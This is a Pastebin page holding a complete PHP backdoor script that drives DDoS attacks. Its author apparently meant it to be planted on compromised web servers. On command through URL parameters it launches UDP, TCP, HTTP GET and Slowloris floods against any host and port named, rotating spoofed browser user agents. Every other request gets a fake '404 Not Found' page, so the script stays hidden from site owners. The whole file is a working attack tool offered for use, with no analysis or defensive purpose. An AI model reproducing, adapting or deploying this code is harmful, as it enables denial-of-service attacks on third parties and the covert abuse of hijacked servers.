KekSec

404 UDP Shell!

Dec 20th, 2016
1,100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.69 KB | None | 0 0
  1. <?php
  2.  
  3. //This is a 404 shell with UDP, TCP, Slowloris, and HTTP flooding
  4. //Coded by SynthMesc
  5.  
  6. error_reporting(0);
  7. ignore_user_abort(TRUE);
  8. set_time_limit(0);
  9.  
  10. $useragents = ["Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6","Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11","Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1","Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)","Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02","Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)","Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)","Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1","Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1","Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5","Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)","Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4","Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1","Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"];
  11.  
  12. if(isset($_GET['type']) && $_GET['type']=="UDP" && isset($_GET['host']) && isset($_GET['time'])) {
  13.     $packets = 0;
  14.     $exec_time = $_GET['time'];
  15.     $time = time();
  16.     $max_time = $time+$exec_time;
  17.     $host = $_GET['host'];
  18.     $out = "";
  19.  
  20.     for($i=0;$i<65500;$i++){
  21.         $out .= "\xFF";
  22.     }
  23.  
  24.     while(1){
  25.         if(time() > $max_time){
  26.             break;
  27.         }
  28.         $rand = rand(1,65535);
  29.         $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  30.         if($fp){
  31.             fwrite($fp, $out);
  32.             fclose($fp);
  33.             $packets++;
  34.         }
  35.     }
  36.     echo "$packets";
  37. } else if(isset($_GET['type']) && $_GET['type']=="TCP" && isset($_GET['host']) && isset($_GET['port']) && isset($_GET['time'])) {
  38.     $host = $_GET['host'];
  39.     $port = $_GET['port'];
  40.     $length = $_GET['time'];
  41.  
  42.     $max_time = time() + $length;
  43.  
  44.     $packet = "";
  45.     $packets = 0;
  46.  
  47.     while( strlen ( $packet ) < 1024 ) {
  48.         $packet .= Chr( 255 );
  49.     }
  50.  
  51.     @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  52.  
  53.     while(1) {
  54.         if (time() > $max_time) {
  55.             break;
  56.         }
  57.  
  58.         if($fp) {
  59.             fwrite( $fp , $packet );
  60.             $packets++;
  61.         } else {
  62.             @$fp = fsockopen( 'tcp://'.$host, $port, $errno, $errstr, 5 );
  63.         }
  64.     }
  65.     echo "$packets";
  66. } else if(isset($_GET['type']) && $_GET['type']=="HTTP" && isset($_GET['host']) && isset($_GET['port']) && isset($_GET['page']) && isset($_GET['time'])) {
  67.     $host = $_GET['host'];
  68.     $port = $_GET['port'];
  69.     $page = $_GET['page'];
  70.     $length = $_GET['time'];
  71.  
  72.     if ($page == "") {
  73.         $page = '/';
  74.     }
  75.  
  76.         $max_time = time() + $length;
  77.  
  78.         @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
  79.         while(1) {
  80.             if ( time() > $max_time ) {
  81.                 break;
  82.             }
  83.             $packet = 'GET ' . $page . ' HTTP/1.1' . "\r\n";
  84.             $packet .= 'Host: ' . $host . "\r\n";
  85.             $packet .= 'User-Agent: ' . $useragents[array_rand($useragents)] . "\r\n";
  86.             $packet .= 'Keep-alive: 300' . "\r\n";
  87.             $packet .= 'Connection: keep-alive' . "\r\n\r\n";
  88.  
  89.             if($fp) {
  90.                 fwrite($fp , $packet);
  91.                 $packets++;
  92.             } else {
  93.                 @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
  94.             }
  95.         }
  96.     echo "$packets";
  97. } else if(isset($_GET['type']) && $_GET['type']=="SLOWLORIS" && isset($_GET['host']) && isset($_GET['port']) && isset($_GET['page']) && isset($_GET['time'])) {
  98.     $host = $_GET['host'];
  99.     $port = $_GET['port'];
  100.     $page = $_GET['page'];
  101.     $length = $_GET['time'];
  102.  
  103.     if ($page == "") {
  104.         $page = '/';
  105.     }
  106.  
  107.     $max_time = time() + $length;
  108.  
  109.     @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
  110.     while(1) {
  111.         if ( time() > $max_time ) {
  112.             break;
  113.         }
  114.         $packet = 'POST ' . $page . ' HTTP/1.1' . "\r\n";
  115.         $packet .= 'Host: ' . $host . "\r\n";
  116.         $packet .= 'User-Agent: ' . $useragents[array_rand($useragents)] . "\r\n";
  117.         $packet .= 'Content-length: 42' . "\r\n\r\n";
  118.         if($fp) {
  119.             fwrite($fp, $packet);
  120.             $packets++;
  121.         } else {
  122.             @$fp = fsockopen( $host, $port, $errno, $errstr, 5 );
  123.         }
  124.     }
  125.     echo "$packets";
  126. } else {
  127.     //Produce 404 page
  128.     header("Status: 404 Not Found");
  129.     header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  130.     echo "<h1>404 Not Found</h1>";
  131.     echo "The page that you have requested could not be found.";
  132.  
  133. }
  134. ?>
Advertisement
Add Comment
Please, Sign In to add comment